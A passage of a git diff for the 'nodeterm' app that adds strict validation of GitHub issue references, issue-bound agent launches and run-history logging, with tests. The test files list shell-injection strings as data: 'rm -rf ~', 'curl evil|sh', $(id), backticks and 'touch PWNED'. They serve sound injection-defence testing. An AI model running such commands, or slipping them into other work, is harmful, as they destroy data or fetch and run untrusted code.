'o/r#1;rm -rf ~' }, true)+ expect(reply.ok).toBe(false)+ expect(pty.sends).toEqual([])+ })++ it('records run-ended when the bound node is closed', async () => {+ await seed(true)+ const opened = await factory.openAgent('term-source', { agent: 'claude', issue: '#42' }, true)+ const id = (opened.result as { id: string }).id+ log = []+ const closed = await factory.close('term-source', { node: id }, true)+ expect(closed.ok).toBe(true)+ expect(log).toEqual([+ {+ projectId: 'project-1',+ entry: expect.objectContaining({+ nodeId: 'github-issue:eneskirca/nodeterm#42',+ event: expect.objectContaining({+ type: 'run-ended',+ run: expect.objectContaining({ nodeId: id, end: 'unknown' })+ })+ })+ }+ ])+ })+})diff --git a/src/server/headless-node-factory.ts b/src/server/headless-node-factory.tsindex c9b16c9e3..8a608ede9 100644--- a/src/server/headless-node-factory.ts+++ b/src/server/headless-node-factory.ts@@ -33,6 +33,9 @@ import {import { assembleLaunchCommand } from '../shared/agents/launch'import type { AgentState, NormalizedAgentEvent } from '../shared/agents/normalize'import { oneLine } from '../shared/one-line'+import { issueLaunchPrompt, resolveIssueArg, type IssueRef } from '../shared/github-issue-ref'+import { runEndedEvent, runStartedEvent } from '../shared/issue-runs'+import type { BoardLogEntry } from '../shared/types'import { UNKNOWN_CODEX_CLI_CAPS } from '../shared/types'import type {BridgeLink,@@ -105,8 +108,21 @@ export interface HeadlessNodeFactoryDeps {publishProject?: (project: Project) => void/** Injectable only so tests can seed creator facts; production uses a fresh process-local ledger. */ownership?: HeadlessNodeOwnership+ /**+ * The `owner/repo` a project's kanban board syncs with — what `open-agent --issue #N` means. The+ * GitHub host controller's answer (configured, else detected from the project's git remote), the+ * same one the issue lane uses. Absent/throwing/null = only the board's explicitly configured+ * repository counts, and a `#N` against a board with none is refused — never guessed.+ */+ issueRepository?: (projectId: string) => Promise<string | null>+ /** Append to a project's board log (the issue card's run history). Absent = no history is+ * written; the session still opens. */+ appendBoardLog?: (projectId: string, entry: BoardLogEntry) => Promise<boolean>}+/** The author of a run-history line this factory writes: the app acting on an agent's request. */+const RUN_LOG_AUTHOR = { name: 'nodeterm', color: '#8b8b8b' } as const+export interface HeadlessNodeOwner {sourceNodeId: stringprojectId: string@@ -737,6 +753,23 @@ export class HeadlessNodeFactory {return this.open(sourceNodeId, 'open-agent', args, verified)}+ /** File one run-history line under the issue card. Never throws: history is a record of work,+ * and a failed append must not fail the open or close it describes. */+ private async logRun(+ projectId: string,+ run: { nodeId: string; event: BoardLogEntry['event'] } | null+ ): Promise<void> {+ if (!run || !this.deps.appendBoardLog) return+ await this.deps.appendBoardLog(projectId, {+ id: randomUUID(),+ ts: (this.deps.now ?? Date.now)(),+ author: RUN_LOG_AUTHOR,+ nodeId: run.nodeId,+ kind: 'event',+ event: run.event+ }).catch(() => false)+ }+close(sourceNodeId: string,args: Record<string, string>,@@ -801,6 +834,15 @@ export class HeadlessNodeFactory {const project = workspace.projects.find((candidate) => candidate.id === projectId)const target = project?.nodes.find((node) => node.id === id)if (!project || !target) continue+ if (target.issueRef) {+ // A run ends when its node is CLOSED — never when a turn ends.+ await this.logRun(project.id, runEndedEvent(target.issueRef, {+ id: target.id,+ title: target.title,+ agentId: target.agentId,+ agentSessionId: target.agentSessionId+ }, { state: this.deps.stateOf(target.id) }))+ }if (target.kind === 'group') {const ungrouped = ungroupPersistedNodes(project.nodes, id)project.nodes = ungrouped.nodes@@ -1067,7 +1109,7 @@ export class HeadlessNodeFactory {args,verb === 'open-terminal'? new Set(['count', 'cwd', 'cmd', 'after', 'project'])- : new Set(['agent', 'count', 'cwd', 'prompt', 'after', 'project', 'model'])+ : new Set(['agent', 'count', 'cwd', 'prompt', 'after', 'project', 'model', 'issue']))if (flagError) return { ok: false, error: `${verb}: ${flagError}` }if (!verified) {@@ -1089,6 +1131,18 @@ export class HeadlessNodeFactory {if (!Array.isArray(after)) return afterconst unownedAfter = this.unownedMutation(sourceNodeId, after)if (unownedAfter) return this.ownershipRefusal(verb, sourceNodeId, unownedAfter)+ // `--issue`: resolved against the project the node OPENS IN, before anything is written. The+ // shape gate already ran in `parseControlRequest`; this re-parses with the same grammar.+ let issueRef: IssueRef | undefined+ if (verb === 'open-agent' && args.issue !== undefined) {+ const board = target.kanban?.github+ const repository = board+ ? (await this.deps.issueRepository?.(target.id).catch(() => null)) ?? board.repository ?? null+ : null+ const issue = resolveIssueArg(args.issue, repository)+ if (!issue.ok) return { ok: false, error: `open-agent: ${issue.error}` }+ issueRef = issue.ref+ }const settings = this.deps.settings()const nodeSize = terminalSize(settings)@@ -1161,7 +1215,8 @@ export class HeadlessNodeFactory {command = assembleLaunchCommand({agentId: agentId as AgentId,- initialPrompt: args.prompt,+ // An issue-bound session's first prompt is the REFERENCE line, never the issue's text.+ initialPrompt: issueRef ? issueLaunchPrompt(issueRef, args.prompt) : args.prompt,permissionMode,sessionId: mintedSessionId,sessionIdFlagSupported,@@ -1200,6 +1255,7 @@ export class HeadlessNodeFactory {cwd,...(verb === 'open-agent' ? { agentId: agentId as AgentId } : {}),...(args.model && verb === 'open-agent' ? { agentModel: args.model } : {}),+ ...(issueRef && verb === 'open-agent' ? { issueRef } : {}),...(mintedSessionId ? { agentSessionId: mintedSessionId } : {}),...(source.node.accountId && verb === 'open-agent' &&(agentId === 'claude' || agentId === 'codex')@@ -1233,6 +1289,16 @@ export class HeadlessNodeFactory {this.ownership.record(node.id, { sourceNodeId, projectId: target.id })}this.publish(target, created)+ if (issueRef) {+ for (const node of created) {+ await this.logRun(target.id, runStartedEvent(issueRef, {+ id: node.id,+ title: node.title,+ agentId: node.agentId,+ agentSessionId: node.agentSessionId+ }))+ }+ }const failed: string[] = []for (const node of created) {@@ -1285,7 +1351,7 @@ export class HeadlessNodeFactory {ids.join(', ') +(queuedIds.length ? `; queued: ${queuedIds.join(', ')}` : '') +(deliveredIds.length ? '; launch delivered; agent startup is not confirmed' : ''),- result: { ids, id: ids[0], after, ...launchResult }+ result: { ids, id: ids[0], after, ...launchResult, ...(issueRef ? { issue: `${issueRef.owner}/${issueRef.repo}#${issueRef.number}` } : {}) }}})}diff --git a/src/server/index.ts b/src/server/index.tsindex 2b71c4896..2733cbca5 100644--- a/src/server/index.ts+++ b/src/server/index.ts@@ -705,6 +705,10 @@ export async function startServer(ptyManager,settings: () => settingsStore.get(),boardLog,+ // `open-agent --issue #N` means the repository this project's board syncs with — the same+ // answer the issue lane gets from the GitHub host controller.+ issueRepository: (projectId) =>+ github.controller.status(projectId).then((view) => view.project?.repository ?? null),installAgentIntegrations: config.installHooks !== false})hookServer.setControlHandler(canvasControl.handler)diff --git a/src/shared/github-issue-ref.realsh.test.ts b/src/shared/github-issue-ref.realsh.test.tsnew file mode 100644index 000000000..6edb41a85--- /dev/null+++ b/src/shared/github-issue-ref.realsh.test.ts@@ -0,0 +1,55 @@+import { execFileSync } from 'node:child_process'+import fs from 'node:fs'+import os from 'node:os'+import path from 'node:path'+import { describe, expect, it } from 'vitest'+import { assembleLaunchCommand } from './agents/launch'+import { issueLaunchPrompt } from './github-issue-ref'++// The launch line for an issue-bound session is TYPED into a pane and read by its shell. A+// structural test of the string proves nothing about what a shell does with it, so this runs the+// line the assembler actually builds under a real /bin/sh, with the agent program swapped for+// `printf` so the CLI's argv is observable, in a scratch directory where any injected command would+// leave a file behind.+describe.skipIf(process.platform === 'win32')('issue launch line under a real /bin/sh', () => {+ const run = (prompt: string) => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'nodeterm-issue-sh-'))+ try {+ const { command } = assembleLaunchCommand(+ { agentId: 'claude', initialPrompt: prompt, launchCmdOverride: "printf '[%s]\\n'" },+ {}+ )+ const out = execFileSync('/bin/sh', ['-c', command], { cwd: dir, encoding: 'utf8' })+ return { out, files: fs.readdirSync(dir) }+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ }++ it('hands the CLI the reference prompt as exactly one argument', () => {+ const prompt = issueLaunchPrompt({ owner: 'eneskirca', repo: 'nodeterm', number: 42 })!+ const { out, files } = run(prompt)+ expect(out).toBe(`[${prompt}]\n`)+ expect(files).toEqual([])+ })++ it("keeps even a hostile caller brief inert (it rides after the reference, inside the prompt's quotes)", () => {+ const prompt = issueLaunchPrompt(+ { owner: 'o', repo: 'r', number: 1 },+ "it's $(touch PWNED) `touch PWNED2`; touch PWNED3 && rm -rf ./x"+ )!+ const { out, files } = run(prompt)+ expect(out.split('\n').filter(Boolean)).toHaveLength(1)+ expect(files).toEqual([])+ })++ it('a hostile REFERENCE yields no prompt at all, so there is no line to run', () => {+ for (const bad of [+ { owner: 'o', repo: "r'; touch PWNED; '", number: 1 },+ { owner: 'o', repo: 'r$(touch PWNED)', number: 1 },+ { owner: '`touch PWNED`', repo: 'r', number: 1 }+ ]) {+ expect(issueLaunchPrompt(bad)).toBeUndefined()+ }+ })+})diff --git a/src/shared/github-issue-ref.test.ts b/src/shared/github-issue-ref.test.tsnew file mode 100644index 000000000..0f68d2786--- /dev/null+++ b/src/shared/github-issue-ref.test.ts@@ -0,0 +1,241 @@+import { describe, expect, it } from 'vitest'+import {+ formatIssueRef,+ issueKey,+ issueLaunchPrompt,+ issueLogId,+ issueRefFromHtmlUrl,+ issueUrl,+ normalizeIssueRef,+ parseIssueArg,+ resolveIssueArg,+ sameIssue+} from './github-issue-ref'++// Every shape a hostile project.json, a hostile orchestrator or a hostile issue title could use to+// turn a reference into keystrokes. None of them may survive ANY entry point of this module.+const HOSTILE = [+ 'o/r#1; rm -rf ~',+ 'o/r#1 && curl evil|sh',+ 'o/r#`id`',+ 'o/`id`#1',+ '`id`/r#1',+ 'o/r#1\nrm -rf ~',+ 'o/r#1\r',+ 'o/r$(id)#1',+ '$(id)/r#1',+ "o/r'#1",+ 'o/r"#1',+ 'o/r#1 ',+ ' o/r#1',+ 'o/r #1',+ 'o/r#1\u0000',+ 'o/r#\u001b[201~1',+ 'o /r#1',+ 'o/r#-1',+ 'o/r#0',+ 'o/r#01',+ 'o/r#1e3',+ 'o/r#99999999999',+ 'o/../r#1',+ 'o/..#1',+ 'o/.#1',+ '-o/r#1',+ 'o-/r#1',+ 'o/-r#1',+ 'o//r#1',+ 'o/r/x#1',+ 'o#1',+ '#1;rm -rf ~',+ '#`id`',+ '#$(id)',+ '#1\n',+ ''+]++describe('parseIssueArg', () => {+ it('accepts owner/repo#N', () => {+ expect(parseIssueArg('eneskirca/nodeterm#42')).toEqual({+ ok: true,+ kind: 'full',+ ref: { owner: 'eneskirca', repo: 'nodeterm', number: 42 }+ })+ })++ it('accepts #N as a reference to the project repository', () => {+ expect(parseIssueArg('#7')).toEqual({ ok: true, kind: 'local', number: 7 })+ })++ it('accepts the repository names GitHub allows (dots, underscores, a leading dot)', () => {+ expect(parseIssueArg('a-b/.github#1')).toMatchObject({ ok: true })+ expect(parseIssueArg('A1/x_y.z-w#2147483647')).toMatchObject({ ok: true })+ })++ it.each(HOSTILE)('refuses %j', (raw) => {+ expect(parseIssueArg(raw).ok).toBe(false)+ })++ it('names the accepted shapes in its refusal', () => {+ const r = parseIssueArg('nope')+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.error).toMatch(/owner\/repo#N/)+ })+})++describe('resolveIssueArg', () => {+ it('passes a full reference through, whatever the project repository', () => {+ expect(resolveIssueArg('a/b#3', null)).toEqual({ ok: true, ref: { owner: 'a', repo: 'b', number: 3 } })+ expect(resolveIssueArg('a/b#3', 'x/y')).toEqual({ ok: true, ref: { owner: 'a', repo: 'b', number: 3 } })+ })++ it('resolves #N against the project repository', () => {+ expect(resolveIssueArg('#9', 'eneskirca/nodeterm')).toEqual({+ ok: true,+ ref: { owner: 'eneskirca', repo: 'nodeterm', number: 9 }+ })+ })++ it('refuses #N when the project has no repository, and says what to pass instead', () => {+ const r = resolveIssueArg('#9', null)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.error).toMatch(/owner\/repo#9/)+ })++ it('refuses #N when the project repository itself is not a valid slug', () => {+ expect(resolveIssueArg('#9', 'o/r;rm -rf ~').ok).toBe(false)+ expect(resolveIssueArg('#9', 'https://github.com/o/r').ok).toBe(false)+ })+})++describe('normalizeIssueRef (the serializer seam)', () => {+ it('keeps a valid reference, dropping unknown keys', () => {+ expect(normalizeIssueRef({ owner: 'o', repo: 'r', number: 5, extra: 'x' })).toEqual({+ owner: 'o',+ repo: 'r',+ number: 5+ })+ })++ it.each([+ undefined,+ null,+ 'o/r#1',+ 42,+ [],+ {},+ { owner: 'o', repo: 'r' },+ { owner: 'o', repo: 'r', number: '5' },+ { owner: 'o', repo: 'r', number: 1.5 },+ { owner: 'o', repo: 'r', number: 0 },+ { owner: 'o', repo: 'r', number: -1 },+ { owner: 'o', repo: 'r', number: Number.NaN },+ { owner: 'o', repo: 'r', number: 2 ** 31 },+ { owner: 'o;rm -rf ~', repo: 'r', number: 1 },+ { owner: 'o', repo: 'r`id`', number: 1 },+ { owner: 'o', repo: 'r\n', number: 1 },+ { owner: 'o', repo: '$(id)', number: 1 },+ { owner: 'o', repo: '..', number: 1 },+ { owner: 'o', repo: 'x'.repeat(101), number: 1 },+ { owner: 'x'.repeat(40), repo: 'r', number: 1 }+ ])('drops %j', (value) => {+ expect(normalizeIssueRef(value)).toBeUndefined()+ })+})++describe('formatIssueRef / issueKey / issueLogId / issueUrl', () => {+ const ref = { owner: 'EnesKirca', repo: 'NodeTerm', number: 12 }++ it('formats the canonical reference', () => {+ expect(formatIssueRef(ref)).toBe('EnesKirca/NodeTerm#12')+ })++ it('keys case-insensitively (GitHub owner/repo names are)', () => {+ expect(issueKey(ref)).toBe('eneskirca/nodeterm#12')+ expect(sameIssue(ref, { owner: 'eneskirca', repo: 'nodeterm', number: 12 })).toBe(true)+ expect(sameIssue(ref, { owner: 'eneskirca', repo: 'nodeterm', number: 13 })).toBe(false)+ })++ it('gives an issue card a board-log identity no node id can collide with', () => {+ expect(issueLogId(ref)).toBe('github-issue:eneskirca/nodeterm#12')+ })++ it('builds the issue URL only from a valid reference', () => {+ expect(issueUrl(ref)).toBe('https://github.com/EnesKirca/NodeTerm/issues/12')+ expect(issueUrl({ owner: 'o', repo: 'r?x=1', number: 1 })).toBeUndefined()+ })++ it('refuses to format a hostile object even if the type system was bypassed', () => {+ expect(formatIssueRef({ owner: 'o', repo: 'r; rm -rf ~', number: 1 })).toBeUndefined()+ expect(issueKey({ owner: 'o', repo: 'r', number: -1 })).toBeUndefined()+ })+})++describe('issueRefFromHtmlUrl', () => {+ it('reads the reference from an issue html_url', () => {+ expect(issueRefFromHtmlUrl('https://github.com/eneskirca/nodeterm/issues/42', 42)).toEqual({+ owner: 'eneskirca',+ repo: 'nodeterm',+ number: 42+ })+ })++ it('refuses a URL whose number disagrees with the card', () => {+ expect(issueRefFromHtmlUrl('https://github.com/o/r/issues/42', 41)).toBeUndefined()+ })++ it.each([+ 'https://github.com/o/r/pull/42',+ 'http://github.com/o/r/issues/42',+ 'https://evil.example/o/r/issues/42',+ 'https://github.com.evil/o/r/issues/42',+ 'https://github.com/o/r/issues/42?x=1',+ 'https://github.com/o/r/issues/42#frag',+ 'https://github.com/o/r;rm/issues/42',+ 'https://github.com/o/r/issues/42/extra',+ 'not a url',+ ''+ ])('refuses %j', (url) => {+ expect(issueRefFromHtmlUrl(url, 42)).toBeUndefined()+ })+})++describe('issueLaunchPrompt — the ONLY way an issue reaches a launch line', () => {+ const ref = { owner: 'eneskirca', repo: 'nodeterm', number: 42 }++ it('carries the reference and the read command, and nothing else', () => {+ const p = issueLaunchPrompt(ref)!+ expect(p).toContain('eneskirca/nodeterm#42')+ expect(p).toContain('gh issue view 42 --repo eneskirca/nodeterm --comments')+ })++ it('keeps to a character set a single-quoted shell word can never escape', () => {+ // No quote, backtick, dollar, backslash, newline or control byte — so even a caller that+ // forgot to quote it could not be tricked into running anything.+ const p = issueLaunchPrompt(ref)!+ expect(p).toMatch(/^[A-Za-z0-9 ./#:,_-]+$/)+ })++ it('never begins with a slash (an agent would read the whole prompt as a slash command)', () => {+ expect(issueLaunchPrompt(ref)!.startsWith('/')).toBe(false)+ expect(issueLaunchPrompt(ref, '/model sonnet do it')!.startsWith('/')).toBe(false)+ })++ it('puts the caller brief AFTER the issue line', () => {+ const p = issueLaunchPrompt(ref, 'Fix only the parser.')!+ expect(p.indexOf('eneskirca/nodeterm#42')).toBeLessThan(p.indexOf('Fix only the parser.'))+ })++ it.each([+ { owner: 'o;rm -rf ~', repo: 'r', number: 1 },+ { owner: 'o', repo: 'r`id`', number: 1 },+ { owner: 'o', repo: '$(id)', number: 1 },+ { owner: 'o', repo: 'r\nrm -rf ~', number: 1 },+ { owner: 'o', repo: 'r', number: -1 },+ { owner: 'o', repo: 'r', number: '1; rm -rf ~' as unknown as number },+ null,+ undefined,+ 'o/r#1'+ ])('returns nothing for a hostile reference %j', (bad) => {+ expect(issueLaunchPrompt(bad as never)).toBeUndefined()+ })+})diff --git a/src/shared/github-issue-ref.ts b/src/shared/github-issue-ref.tsnew file mode 100644index 000000000..22a8c4342--- /dev/null+++ b/src/shared/github-issue-ref.ts@@ -0,0 +1,222 @@+// A reference to ONE GitHub issue — `owner/repo#N` — and every rule for turning one into text.+//+// WHY THIS IS A MODULE AND NOT A TEMPLATE STRING. An issue reference ends up in three places that+// each treat it as something other than data:+//+// 1. A LAUNCH LINE typed into a pane ("Start with agent" / `open-agent --issue`). Text delivered+// into a pane is keystrokes, not data, and a launch line is interpreted by the pane's shell.+// 2. `.nodeterm/project.json` (`CanvasNodeState.issueRef`), which travels in cloned and shared+// repositories — so a stored reference is attacker-controlled input, like a node id.+// 3. A URL we open (`https://github.com/<owner>/<repo>/issues/<N>`).+//+// The issue's TITLE and BODY are the dangerous half — on a public repository anyone can write+// them — and the rule this module exists to enforce is that they never reach a pane at all. The+// launch line carries only the REFERENCE, and the agent pulls the context itself with `gh`.+// The reference is then the one thing left to validate, and it is validated strictly and in ONE+// place: every entry (`parseIssueArg`, `normalizeIssueRef`, `issueRefFromHtmlUrl`) and every exit+// (`formatIssueRef`, `issueLaunchPrompt`, `issueUrl`) runs the same grammar, so a value that+// arrived by a path nobody validated (a hand-edited file, a peer mutation, a cast) still cannot be+// rendered. Same discipline as `SAFE_SESSION_ID` and `permissionModeFlag`: re-check at the+// interpolation site, never trust the type.+//+// The grammar is GitHub's own, not a loosened one: an owner is 1–39 alphanumerics or single inner+// hyphens (no leading/trailing hyphen), a repository name is 1–100 of `[A-Za-z0-9_.-]` that is not+// `.`/`..` and does not start with `-`, and an issue number is a positive 32-bit integer written+// without a sign, exponent or leading zero. Nothing in that alphabet is a shell metacharacter,+// quote, whitespace or control byte. `core/github/config.ts` parses a repository slug with the same+// owner/name patterns (`github-issue-ref.config-agreement.test.ts` pins that the two agree).++export interface IssueRef {+ owner: string+ repo: string+ number: number+}++const OWNER = /^[A-Za-z0-9](?:[A-Za-z0-9-]{0,37}[A-Za-z0-9])?$/+const REPO = /^[A-Za-z0-9_.-]{1,100}$/+const NUMBER = /^[1-9][0-9]{0,9}$/+const MAX_ISSUE_NUMBER = 2 ** 31 - 1++function validOwner(value: unknown): value is string {+ return typeof value === 'string' && OWNER.test(value)+}++function validRepo(value: unknown): value is string {+ return (+ typeof value === 'string' &&+ REPO.test(value) &&+ value !== '.' &&+ value !== '..' &&+ !value.startsWith('-')+ )+}++function validNumber(value: unknown): value is number {+ return (+ typeof value === 'number' &&+ Number.isSafeInteger(value) &&+ value >= 1 &&+ value <= MAX_ISSUE_NUMBER+ )+}++function parseNumber(text: string): number | undefined {+ if (!NUMBER.test(text)) return undefined+ const n = Number(text)+ return validNumber(n) ? n : undefined+}++/** A stored or received reference, or `undefined` when it is not EXACTLY a valid one. Unknown+ * keys are dropped, so what comes out is only ever the three fields this module vouches for.+ * Runs at both serializer seams (project.json → live node data, and back). */+export function normalizeIssueRef(value: unknown): IssueRef | undefined {+ if (!value || typeof value !== 'object' || Array.isArray(value)) return undefined+ const v = value as Record<string, unknown>+ if (!validOwner(v.owner) || !validRepo(v.repo) || !validNumber(v.number)) return undefined+ return { owner: v.owner, repo: v.repo, number: v.number }+}++/** `owner/repo` split into its halves, validated. Used for a project's configured repository. */+function parseRepository(repository: unknown): { owner: string; repo: string } | undefined {+ if (typeof repository !== 'string') return undefined+ const slash = repository.indexOf('/')+ if (slash < 0 || repository.indexOf('/', slash + 1) >= 0) return undefined+ const owner = repository.slice(0, slash)+ const repo = repository.slice(slash + 1)+ return validOwner(owner) && validRepo(repo) ? { owner, repo } : undefined+}++export type ParsedIssueArg =+ | { ok: true; kind: 'full'; ref: IssueRef }+ | { ok: true; kind: 'local'; number: number }+ | { ok: false; error: string }++const ISSUE_ARG_SHAPES = 'owner/repo#N, or #N for the repository this project\'s board syncs with'++/**+ * Parse the canvas-control `--issue` value: `owner/repo#N`, or `#N` (the project's repository,+ * resolved by the caller with `resolveIssueArg`). Nothing is trimmed or repaired — a value with a+ * stray space is refused rather than guessed at, because the only thing a guess can do here is+ * widen what reaches a launch line.+ */+export function parseIssueArg(raw: unknown): ParsedIssueArg {+ const bad = (): ParsedIssueArg => ({+ ok: false,+ error: `--issue must be ${ISSUE_ARG_SHAPES} (got ${JSON.stringify(String(raw ?? '')).slice(0, 80)})`+ })+ if (typeof raw !== 'string') return bad()+ const hash = raw.indexOf('#')+ if (hash < 0 || raw.indexOf('#', hash + 1) >= 0) return bad()+ const number = parseNumber(raw.slice(hash + 1))+ if (number === undefined) return bad()+ if (hash === 0) return { ok: true, kind: 'local', number }+ const repository = parseRepository(raw.slice(0, hash))+ if (!repository) return bad()+ return { ok: true, kind: 'full', ref: { ...repository, number } }+}++/**+ * Resolve an `--issue` value to a full reference. `projectRepository` is the `owner/repo` the+ * project's kanban board syncs with (null when the board has no GitHub repository): it is what+ * `#N` means, and nothing else — a `#N` with no repository is refused and told the full form,+ * never pointed at a guessed one.+ */+export function resolveIssueArg(+ raw: unknown,+ projectRepository: string | null | undefined+): { ok: true; ref: IssueRef } | { ok: false; error: string } {+ const parsed = parseIssueArg(raw)+ if (!parsed.ok) return parsed+ if (parsed.kind === 'full') return { ok: true, ref: parsed.ref }+ const repository = parseRepository(projectRepository)+ if (!repository) {+ return {+ ok: false,+ error:+ `--issue #${parsed.number} needs this project's kanban board to be connected to a GitHub ` ++ `repository — pass owner/repo#${parsed.number} instead`+ }+ }+ return { ok: true, ref: { ...repository, number: parsed.number } }+}++/** `owner/repo#N`, or `undefined` for anything that is not a valid reference. */+export function formatIssueRef(ref: unknown): string | undefined {+ const r = normalizeIssueRef(ref)+ return r ? `${r.owner}/${r.repo}#${r.number}` : undefined+}++/** Case-insensitive identity (GitHub owner and repository names are case-insensitive), for+ * matching a node's binding to the card that shows the issue. */+export function issueKey(ref: unknown): string | undefined {+ return formatIssueRef(ref)?.toLowerCase()+}++export function sameIssue(a: unknown, b: unknown): boolean {+ const ka = issueKey(a)+ return ka !== undefined && ka === issueKey(b)+}++/**+ * The board-log identity of a GitHub issue CARD. The board log files an entry under a `nodeId`,+ * and an issue card is not a node — so it gets a synthetic id in a namespace no node id can reach+ * (node ids are `<kind>-<hex>`, never containing `:` or `/`). Keyed case-insensitively so the+ * same issue reached as `Owner/Repo#1` and `owner/repo#1` has one history.+ */+export function issueLogId(ref: unknown): string | undefined {+ const key = issueKey(ref)+ return key ? `github-issue:${key}` : undefined+}++/** `https://github.com/<owner>/<repo>/issues/<N>` for a valid reference only. */+export function issueUrl(ref: unknown): string | undefined {+ const r = normalizeIssueRef(ref)+ return r ? `https://github.com/${r.owner}/${r.repo}/issues/${r.number}` : undefined+}++/**+ * Read the reference off an issue card's `htmlUrl`, requiring it to name the SAME number the card+ * shows. The URL comes from the GitHub API (via the local cache), which is the most authoritative+ * source the renderer has for which repository the card belongs to — but it is parsed as strictly+ * as anything else, and a URL that is not exactly `https://github.com/<owner>/<repo>/issues/<N>`+ * yields nothing.+ */+export function issueRefFromHtmlUrl(htmlUrl: unknown, expectedNumber: number): IssueRef | undefined {+ if (typeof htmlUrl !== 'string') return undefined+ const m = /^https:\/\/github\.com\/([^/?#]+)\/([^/?#]+)\/issues\/([^/?#]+)$/.exec(htmlUrl)+ if (!m) return undefined+ const number = parseNumber(m[3])+ if (number === undefined || number !== expectedNumber) return undefined+ return normalizeIssueRef({ owner: m[1], repo: m[2], number })+}++/**+ * The launch prompt for a session started on an issue. The ONLY place an issue becomes text that+ * reaches a pane, so it re-validates the reference itself rather than trusting its caller: a+ * hostile object yields `undefined` and the caller launches nothing on its behalf.+ *+ * The prompt names the reference and how to read it; it carries none of the issue's content. It+ * deliberately contains no quote, backtick, dollar or backslash of its own, so it stays inert+ * even outside the single quotes the assembler wraps it in. `extra` (a caller's own `--prompt`)+ * follows the issue line — never before it, so an extra that begins with `/` cannot turn the whole+ * prompt into a slash command.+ */+export function issueLaunchPrompt(ref: unknown, extra?: string): string | undefined {+ const r = normalizeIssueRef(ref)+ if (!r) return undefined+ const slug = `${r.owner}/${r.repo}`+ const line =+ `You are working on GitHub issue ${slug}#${r.number}. ` ++ `Start by reading it: gh issue view ${r.number} --repo ${slug} --comments`+ const brief = extra?.trim()+ return brief ? `${line}. ${brief}` : line+}++/**+ * The columns an issue-bound session moves its OWN card to (the status + write-back contract the+ * canvas-control skill states). Titles, because `assign --column` matches a title case-insensitively+ * and a board's column ids are random per project. `In Review` is not on the default board — the+ * skill tells the session to pick the closest column `board` lists, and never Done: finishing the+ * work is the human's call.+ */+export const ISSUE_SESSION_COLUMNS = { started: 'In Progress', delivered: 'In Review' } as constdiff --git a/src/shared/issue-runs.ts b/src/shared/issue-runs.tsnew file mode 100644index 000000000..2e8449dd7--- /dev/null+++ b/src/shared/issue-runs.ts@@ -0,0 +1,99 @@+// The run history of a GitHub issue card: which sessions were started on the issue and how each+// one ended. Shared by the renderer (UI starts, node deletes) and the Server Edition's headless+// factory (control-verb opens and closes), so the two shells file the SAME event shape under the+// SAME board-log identity.+//+// A run ends when its node is CLOSED — never when a turn ends. `done` means "a turn ended", not+// "the work is finished", and nothing here treats it as more.+//+// No cost or token figure is recorded: nodeterm has no cumulative per-session number, and a+// context-window reading is not one.++import type { BoardLogEvent } from './types'+import type { AgentState } from './agents/normalize'+import { issueLogId } from './github-issue-ref'++/** The node facts a run entry needs — satisfied by live node data and by a stored node alike. */+export interface IssueRunNode {+ id: string+ title?: string+ agentId?: string+ /** The session id nodeterm minted at creation (claude), if any. */+ agentSessionId?: string+}++export type IssueRunEnd = NonNullable<NonNullable<BoardLogEvent['run']>['end']>++/** The status facts that decide how a run ended. */+export interface IssueRunStatus {+ state?: AgentState+ lastTurnError?: { at: number }+ dropped?: boolean+ sessionId?: string+}++/** The last observed state of a session, as the run's end. */+export function runEndState(status: IssueRunStatus | undefined): IssueRunEnd {+ if (!status) return 'unknown'+ if (status.dropped) return 'dropped'+ if (status.lastTurnError) return 'errored'+ switch (status.state) {+ case 'working':+ case 'waiting':+ case 'blocked':+ case 'done':+ return status.state+ default:+ return 'unknown'+ }+}++function runOf(+ node: IssueRunNode,+ sessionId: string | undefined,+ end?: IssueRunEnd+): NonNullable<BoardLogEvent['run']> {+ return {+ nodeId: node.id,+ ...(node.agentId ? { agentId: node.agentId } : {}),+ ...(sessionId ? { sessionId } : {}),+ ...(end ? { end } : {})+ }+}++/** `run-started`, filed under the issue card's board-log identity. Null for a reference this+ * module cannot vouch for — nothing is logged on its behalf. */+export function runStartedEvent(+ ref: unknown,+ node: IssueRunNode+): { nodeId: string; event: BoardLogEvent } | null {+ const logId = issueLogId(ref)+ if (!logId) return null+ return {+ nodeId: logId,+ event: {+ type: 'run-started',+ ...(node.title ? { title: node.title } : {}),+ run: runOf(node, node.agentSessionId)+ }+ }+}++/** `run-ended`, written when a bound node is CLOSED. The live session id wins over the minted one+ * (a `/clear` or a resume mints a new id inside the CLI). */+export function runEndedEvent(+ ref: unknown,+ node: IssueRunNode,+ status: IssueRunStatus | undefined+): { nodeId: string; event: BoardLogEvent } | null {+ const logId = issueLogId(ref)+ if (!logId) return null+ return {+ nodeId: logId,+ event: {+ type: 'run-ended',+ ...(node.title ? { title: node.title } : {}),+ run: runOf(node, status?.sessionId ?? node.agentSessionId, runEndState(status))+ }+ }+}diff --git a/src/shared/types.ts b/src/shared/types.tsindex fcd8467f4..589ea4141 100644--- a/src/shared/types.ts+++ b/src/shared/types.ts@@ -452,6 +452,15 @@ export interface CanvasNodeState {agentId?: AgentId/** Model selected for this agent node through the shared model gateway. */agentModel?: string+ /**+ * Agent nodes started on a GitHub issue ("Start with agent" on an issue card, or+ * `open-agent --issue`): WHICH issue this session works on. It drives the binding chips (the+ * issue card's run chips, the node header's `#N`) and the issue card's run history — never a+ * launch line: the launch prompt was composed once, at creation, from a validated reference.+ * Git-shared, so hostile input: `normalizeIssueRef` runs at both serializer seams. See+ * @shared/github-issue-ref.+ */+ issueRef?: import('./github-issue-ref').IssueRef/*** One-shot "Restart on subscription" flag: when set, the next `transport.create` strips gateway +* inherited provider env (per `vanillaEnvStripPattern`) so the agent resumes against its own@@ -717,10 +726,26 @@ export interface BoardLogEvent {* agent node so it files under that agent's card. Written BEFORE the read (fail-closed): a cookie* read that happened but was not recorded is the one outcome this trace exists to prevent. */| 'agent-read-cookies'+ /** An agent session was started on a GitHub issue. Filed under the issue CARD's board-log+ * identity (`issueLogId`), not the node's, so the issue keeps its run history after the+ * session's node is gone. `run` names the session; `title` is the node title at the time. */+ | 'run-started'+ /** That session's node was closed. `run.end` is the last agent state observed at that+ * moment — a turn ending (`done`) is NOT a run ending, which is why this is written only when+ * the node goes. */+ | 'run-ended'from?: stringto?: string/** Column title for column-added/deleted; card title for card-created; outcome for agent-message. */title?: string+ /** run-started / run-ended only. No cost or token figure: nodeterm has no 